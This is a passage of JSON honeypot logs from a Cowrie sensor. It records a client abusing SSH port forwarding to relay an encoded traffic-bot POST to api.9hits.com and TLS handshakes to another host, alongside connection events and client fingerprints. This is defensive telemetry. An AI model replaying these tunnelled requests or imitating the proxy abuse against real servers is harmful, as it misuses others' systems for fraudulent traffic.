{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:52.857568Z","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:52.906105Z","src_ip":"173.208.192.194","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.4.1 Mobile/17E262 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=RElPI0ZCUXhkd3RYKTFPWA%3D%3DTHtId82CnU2TpoemJWBzbXSDqEJtWKTgIgcic0BAyqGIww5xkTcqzcU4uvnMR1M7DIb1tO2fxNc5w4vYf2c%2BciUoujh7TW94NoWmlDesWqWR35Oxy4bf4aaK0YhABy8FI646%2B4OsodITn%2FZXD2rMMDVdtOlrr45EsDSDOR7YUtZnox7%2BLA7j1GDD0tLizwK4g8ozBnyY7fPm5yXCFTP4yu6ffBg03iX178mjaTGjpdKSthF9Nj4n3uJUiw7IVly6HQ%2FAT1pkt4RjG9FgLqOlA0bfNdRUEPBPLslwlXIJJvYJTX0n6s5cyPrNqmu5oexHKa%2B87I2poZYIZPy1ue2yeLls78ncPVl0J3LRttN99eLc%2BWQAtODmZzMG1e%2FsC4y2qfuc2iONyG%2Bns%2F5yNTpZTheTX8%2FxfwllGMUo2%2Fy9SUmLB0XyvwHX6nDykINdMfZCWmZqHKoaqyxhZ1nTQ55q9hXMGFmSYPvLQgMymoj%2Bw3fZBOp9RTjEiHOwtFE8XWjOe2WG47oDsk4LarMnk4m4%2BbwyO%2B%2B10PRljS15H%2FbK0FjpGmlABmOexdJvO13yRck39ff6SWTEuxsmGgIsoGvO%2B6xKtHGUTOZLklrN%2FVroY743SEnCSdkt3cC1k7ZwJRGtcKFockMSrOenlRjv1N5Gk3UrbYvcfcAe72nqp4LjVQevuhl8C83%2FGuOdZHLsTKm7FVHulKXC8B8nlsxqZQqrHPtnI4C69R1FKsRbJ2ZKnuE262Mv570EW4KJIloBasFwCpcI%2FWPrD4gd718FzxXs6OsSbKf6sm92PDJUWlkK7CseLuWOwPcmfON7R6I%2BiY7C73J3w1wmeN1nkDLkKkrpxNcY60aXef3BLhmdymYGPMK2rlvOSCpqhHBmhBz814a5XEQWDYcN0LTUMoscBSjmacps4p0aoMHagoLJxJeGG94CcEu%2BVqhVz185g0LW8KkLR8E54Ox2o2Xc7zfFCfbaEOxBSzLSzVMvVXVvjIPSkly%2BqGxgOAGha5wtaRY%2FeWpOR7816BqZLL2TjDl5L7xN5%2BItjRdi%2FGqJAHs6MZJ5lRkjLspczCGpdS5HUBAZFsmC'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.4.1 Mobile/17E262 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=RElPI0ZCUXhkd3RYKTFPWA%3D%3DTHtId82CnU2TpoemJWBzbXSDqEJtWKTgIgcic0BAyqGIww5xkTcqzcU4uvnMR1M7DIb1tO2fxNc5w4vYf2c%2BciUoujh7TW94NoWmlDesWqWR35Oxy4bf4aaK0YhABy8FI646%2B4OsodITn%2FZXD2rMMDVdtOlrr45EsDSDOR7YUtZnox7%2BLA7j1GDD0tLizwK4g8ozBnyY7fPm5yXCFTP4yu6ffBg03iX178mjaTGjpdKSthF9Nj4n3uJUiw7IVly6HQ%2FAT1pkt4RjG9FgLqOlA0bfNdRUEPBPLslwlXIJJvYJTX0n6s5cyPrNqmu5oexHKa%2B87I2poZYIZPy1ue2yeLls78ncPVl0J3LRttN99eLc%2BWQAtODmZzMG1e%2FsC4y2qfuc2iONyG%2Bns%2F5yNTpZTheTX8%2FxfwllGMUo2%2Fy9SUmLB0XyvwHX6nDykINdMfZCWmZqHKoaqyxhZ1nTQ55q9hXMGFmSYPvLQgMymoj%2Bw3fZBOp9RTjEiHOwtFE8XWjOe2WG47oDsk4LarMnk4m4%2BbwyO%2B%2B10PRljS15H%2FbK0FjpGmlABmOexdJvO13yRck39ff6SWTEuxsmGgIsoGvO%2B6xKtHGUTOZLklrN%2FVroY743SEnCSdkt3cC1k7ZwJRGtcKFockMSrOenlRjv1N5Gk3UrbYvcfcAe72nqp4LjVQevuhl8C83%2FGuOdZHLsTKm7FVHulKXC8B8nlsxqZQqrHPtnI4C69R1FKsRbJ2ZKnuE262Mv570EW4KJIloBasFwCpcI%2FWPrD4gd718FzxXs6OsSbKf6sm92PDJUWlkK7CseLuWOwPcmfON7R6I%2BiY7C73J3w1wmeN1nkDLkKkrpxNcY60aXef3BLhmdymYGPMK2rlvOSCpqhHBmhBz814a5XEQWDYcN0LTUMoscBSjmacps4p0aoMHagoLJxJeGG94CcEu%2BVqhVz185g0LW8KkLR8E54Ox2o2Xc7zfFCfbaEOxBSzLSzVMvVXVvjIPSkly%2BqGxgOAGha5wtaRY%2FeWpOR7816BqZLL2TjDl5L7xN5%2BItjRdi%2FGqJAHs6MZJ5lRkjLspczCGpdS5HUBAZFsmC'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:52.909289Z","src_ip":"173.208.192.194","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:53.183975Z","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:53.232311Z","src_ip":"173.208.192.194","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6\\x94\\xa3\\xf0\\xebc\\xda\\xd1\\xab\\xd5\\x1e+e\\x9d\\xe5\\x92\\xbe\\xee\\xbd\\x04\\n\\xddP\\x8aS\\xfc\\x84\\xb7w/z\\xf4 \\xd3zK\\xa4\\x04\\xff+X\\x88Ni&8<>p;\\x03v\\x14\\x19a\\xae3\\x89HV\\xe2#\\xcb\\xe7\\xa4\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5\\xae\\x02\\x99\\xcb\\x92.OJ\\x92\\x16Q:\\xbbf\\x10\\x98s\\xde\\x14Q\\xa7drN\\xaa\\xa39\\x8c\\xeet%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6\\x94\\xa3\\xf0\\xebc\\xda\\xd1\\xab\\xd5\\x1e+e\\x9d\\xe5\\x92\\xbe\\xee\\xbd\\x04\\n\\xddP\\x8aS\\xfc\\x84\\xb7w/z\\xf4 \\xd3zK\\xa4\\x04\\xff+X\\x88Ni&8<>p;\\x03v\\x14\\x19a\\xae3\\x89HV\\xe2#\\xcb\\xe7\\xa4\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5\\xae\\x02\\x99\\xcb\\x92.OJ\\x92\\x16Q:\\xbbf\\x10\\x98s\\xde\\x14Q\\xa7drN\\xaa\\xa39\\x8c\\xeet%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:53.235360Z","src_ip":"173.208.192.194","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:53.317865Z","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:53.353198Z","src_ip":"173.208.192.194","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc5\\xb0w\\xe2B\\x1cN\\xaf\\xa3\\xb2\\x93\\x15\"v\\x7f\\xeb\\x0f\\xeeW\\xae\\x837\\xfcu\\xfc0\\xdd\\xc2a\\x0b4\\x1e \\x89o\\xd0gM\\x7f!\\x1f\\xf0\\x0b\\xe3B\\xedh\\xbf\\x98\\xad\\xbd{X4\\\\\\x84%\\x16\\xf7\\xcb\\x99W\\x11\\xf7\\x94\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xb8\\x9c^\\xbaX\\xbe\\x13\\xeb\\x0e%\\xb9\\xe0\\xa9\\x84\\xe1\\xb5\\x1cq{\\x14\\x88\\x8c\\xd1\\xf1\\x92#\\x1e\\x9f)Bp\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc5\\xb0w\\xe2B\\x1cN\\xaf\\xa3\\xb2\\x93\\x15\"v\\x7f\\xeb\\x0f\\xeeW\\xae\\x837\\xfcu\\xfc0\\xdd\\xc2a\\x0b4\\x1e \\x89o\\xd0gM\\x7f!\\x1f\\xf0\\x0b\\xe3B\\xedh\\xbf\\x98\\xad\\xbd{X4\\\\\\x84%\\x16\\xf7\\xcb\\x99W\\x11\\xf7\\x94\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xb8\\x9c^\\xbaX\\xbe\\x13\\xeb\\x0e%\\xb9\\xe0\\xa9\\x84\\xe1\\xb5\\x1cq{\\x14\\x88\\x8c\\xd1\\xf1\\x92#\\x1e\\x9f)Bp\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:53.356075Z","src_ip":"173.208.192.194","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.4968786239624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:29:56.207858Z","src_ip":"107.6.151.170","session":"58f56b13d0d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60139536857605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:00.145120Z","src_ip":"111.170.164.247","session":"08006ae8a7fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.219916582107544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:00.821761Z","src_ip":"111.170.164.247","session":"3287c5b19c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41494,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c449288e47c","protocol":"telnet","message":"New connection: 128.199.8.54:41494 (159.203.135.109:23) [session: 0c449288e47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:01.175623Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":52378,"dst_ip":"10.17.0.5","dst_port":22,"session":"a78398fb9648","protocol":"ssh","message":"New connection: 123.27.168.40:52378 (10.17.0.5:22) [session: a78398fb9648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:02.040871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:02.050886Z","src_ip":"123.27.168.40","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:02.288720Z","src_ip":"123.27.168.40","session":"a78398fb9648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:02.667232Z","src_ip":"173.208.192.194","session":"18180ea557ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":52583,"dst_ip":"10.17.0.5","dst_port":22,"session":"d938623060b6","protocol":"ssh","message":"New connection: 38.46.222.137:52583 (10.17.0.5:22) [session: d938623060b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:02.798212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:02.814746Z","src_ip":"38.46.222.137","session":"d938623060b6","protocol":"ssh"}
